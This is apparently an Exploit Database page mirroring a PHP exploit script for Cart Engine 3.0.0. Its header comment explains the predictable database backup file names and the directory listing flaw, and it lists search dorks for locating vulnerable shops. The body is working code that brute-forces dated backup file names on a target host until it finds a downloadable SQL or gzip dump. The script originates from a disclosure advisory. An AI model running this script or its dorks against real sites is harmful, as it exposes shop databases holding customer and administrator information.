Cart Engine 3.0.0 – Database Backup Disclosure

• Exploit Database
• 36 阅读

• 作者： LiquidWorm
  日期： 2014-03-25
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/32505/

• <?php
  
  /*
  
  Cart Engine 3.0.0 Database Backup Disclosure Exploit
  
  
  Vendor: C97net
  Product web page: http://www.c97.net
  Affected version: 3.0.0
  
  Summary: Open your own online shop today with Cart Engine! The
  small, yet powerful and don't forget, FREE shopping cart based
  on PHP & MySQL. Unique features of Cart Engine include: CMS engine
  based on our qEngine, product options, custom fields, digital
  products, search engine friendly URL, user friendly administration
  control panel, easy to use custom fields, module expandable, sub
  products, unsurpassed flexibility...and more!
  
  Desc: Cart Engine stores database backups using the Backup DB tool
  with a predictable file name inside the '/admin/backup' directory
  as 'Full Backup YYYYMMDD.sql' or 'Full Backup YYYYMMDD.gz', which
  can be exploited to disclose sensitive information by downloading
  the file. The '/admin/backup' is also vulnerable to directory listing
  by default.
  
  
  Tested on: Apache/2.4.7 (Win32)
   PHP/5.5.6
   MySQL 5.6.14
  
  
  Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
  @zeroscience
  
  
  Advisory ID: ZSL-2014-5180
  Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5180.php
  
  
  Dork #1: intitle:powered by c97.net
  Dork #2: intitle:powered by qEngine
  Dork #3: intitle:powered by Kemana.c97.net
  Dork #4: intitle:powered by Cart2.c97.net
  
  
  
  07.03.2014
  
  */
  
  
  error_reporting(0);
  
  function status($done, $total, $size=20)
  {
  	static $start_time;
   	if($done > $total) return;
   	if(empty($start_time)) $start_time=time();
  
  	$now = time();
   	$perc=(double)($done/$total);
   	$bar=floor($perc*$size);
  
   	$disp=number_format($perc*100, 0);
   
  	$status_bar="\r $disp% [";
  	$status_bar.=str_repeat("=", $bar);
  	if($bar<$size)
  	{
  		$status_bar.=">";
  		$status_bar.=str_repeat(" ", $size-$bar);
  	} else
  		{
  			$status_bar.="=";
  		}
   	
   	$status_bar.="] $done/$total";
   
  	$rate = ($now-$start_time)/$done;
  	$left = $total - $done;
  	$eta = round($rate * $left, 2);
  	$elapsed = $now - $start_time;
   
  	$status_bar.= " remaining: ".number_format($eta)." sec. elapsed: ".number_format($elapsed)." sec.";
   
  	echo "$status_bar ";
  	flush();
   
  	if($done == $total)
  	{
  		echo "\n";
  	}
  }
  
  print "
   @---------------------------------------------------------------@
   | |
   |Cart Engine 3.0.0 Database Backup Disclosure Exploit |
   | |
   | |
   |Copyleft (c) 2014, Zero Science Lab|
   | |
   | Advisory ID: ZSL-2014-5180|
   | www.zeroscience.mk|
   | |
   @---------------------------------------------------------------@
  	";
  
  if ($argc < 4)
  {
  print "\n\n [+] Usage: php $argv[0] <host> <port> <dirname>\n\n";
  print " [+] Example: php $argv[0] zeroscience.mk 80 hercules\n\n";
  die();
  }
  
  $godina_array = array('2014','2013','2012','2011','2010');
  
  $mesec_array = array('12','11','10','09',
  					 '08','07','06','05',
  					 '04','03','02','01');
  
  $dn_array = array('31','30','29','28','27','26',
  				'25','24','23','22','21','20',
  				'19','18','17','16','15','14',
  				'13','12','11','10','09','08',
  				'07','06','05','04','03','02',
  				'01');
  
  $host = $argv[1];
  $port = intval($argv[2]);
  $path = $argv[3];
  $dbnm = "Full%20Backup%20";
  
  $alert1 = "\033[1;31m";
  $alert2 = "\033[0;37m";
  $alert3 = "\033[1;32m";
  
  echo "\n [*] Running checks:\n\n";
  
  foreach($godina_array as $godina)
  {
  	foreach($mesec_array as $mesec)
  	{
  		$x++;
  		status($x, 58);
  		foreach($dn_array as $dn)
  		{
  			$ext=".gz";
  			if(file_get_contents("http://".$host.":".$port."/".$path."/admin/backup/".$dbnm.$godina.$mesec.$dn.$ext))
  			{
  				echo "\n";
  				echo $alert1;
  				print "\n\n\n !!! DATABASE BACKUP FILE FOUND !!!\n\n";
  				echo $alert2;
  				print " Filename: 'Full Backup ".$godina.$mesec.$dn.$ext."'\n";
  				print " Full URL:\x20";
  				echo $alert3;
  				die("http://".$host.":".$port."/".$path."/admin/backup/".$dbnm.$godina.$mesec.$dn.$ext."\n\n");
  			}
  			$ext=".sql";
  			if(file_get_contents("http://".$host.":".$port."/".$path."/admin/backup/".$dbnm.$godina.$mesec.$dn.$ext))
  			{
  				echo "\n";
  				echo $alert1;
  				print "\n\n\n !!! DATABASE BACKUP FILE FOUND !!!\n\n";
  				echo $alert2;
  				print " Filename: 'Full Backup ".$godina.$mesec.$dn.$ext."'\n";
  				print " Full URL:\x20";
  				echo $alert3;
  				die("http://".$host.":".$port."/".$path."/admin/backup/".$dbnm.$godina.$mesec.$dn.$ext."\n\n");
  			}
  		}
  	}
  }
  
  print "\n\n [*] Zero findings!\n\n\n";
  
  ?>